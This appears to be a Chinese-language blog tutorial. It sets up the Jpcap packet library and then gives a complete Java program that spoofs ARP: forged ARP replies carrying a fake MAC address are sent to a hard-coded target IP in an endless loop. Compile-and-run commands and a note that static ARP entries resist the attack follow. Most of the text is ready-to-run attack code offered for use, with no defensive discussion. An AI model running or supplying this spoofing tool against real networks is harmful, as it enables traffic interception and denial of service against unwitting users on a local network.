一、环境准备
1.从https://github.com/mgodave/Jpcap.git下载源码
2.进入./Jpcap/src/main/c目录
3.修改make文件,修改JNI_INCLUDE=
4.执行make。注意缺什么依赖就补充安装即可。
5.将生成的libjpcap.so拷贝或移动到/usr/lib/下
6.将lib/jpcap.jar作为程序的依赖包。
二、源码例子
在网上找的例子,代码如下:
import java.net.InetAddress;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
public class Arp{
static byte[] stomac(String s) {
byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
String[] s1 = s.split("-");
for (int x = 0; x < s1.length; x++) {
mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);
}
return mac;
}
public static void main(String[] args) throws Exception {
InetAddress desip = InetAddress.getByName("10.8.228.228");// 被欺骗的目标IP地址
byte[] desmac = stomac("00-50-56-92-6b-c3");// 被欺骗的目标目标MAC数组
InetAddress srcip = InetAddress.getByName("10.8.228.229");// 源IP地址
byte[] srcmac = stomac("00-50-56-92-31-ff"); // 假的MAC数组
// 枚举网卡并打开设备
NetworkInterface[] devices = JpcapCaptor.getDeviceList(); //枚举网卡设备
NetworkInterface device = devices[0]; //选择网卡设备
JpcapSender sender = JpcapSender.openDevice(device); //打开网卡设备
// 设置ARP包
ARPPacket arp = new ARPPacket();
arp.hardtype = ARPPacket.HARDTYPE_ETHER; //硬件类型
arp.prototype = ARPPacket.PROTOTYPE_IP; //协议类型
arp.operation = ARPPacket.ARP_REPLY; //操作类型 REPLY 表示类型为应答
arp.hlen = 6; //硬件地址长度
arp.plen = 4; //协议类型长度
arp.sender_hardaddr = srcmac; //发送端MAC地址
arp.sender_protoaddr = srcip.getAddress(); //发送端IP地址
arp.target_hardaddr = desmac; //目标硬件地址
arp.target_protoaddr = desip.getAddress(); //目标IP地址
// 定义以太网首部
EthernetPacket ether = new EthernetPacket();
ether.frametype = EthernetPacket.ETHERTYPE_ARP; //设置帧的类型为ARP帧
ether.src_mac = srcmac; //源MAC地址
ether.dst_mac = desmac; //目标MAC地址
arp.datalink = ether; //添加
// 发送ARP应答包
while (true) {
System.out.println("sending arp..");
sender.sendPacket(arp);
Thread.sleep(10);
}
}
}
javac -cp .:jpcap.jar Arp.java
java -cp .:jpcap.jar Arp
三、注意事项
1.库文件一定要放进java.library.path对应的目录中,否则执行时会报库文件找不到
2.目标机器设置的静态条目的IP无法被修改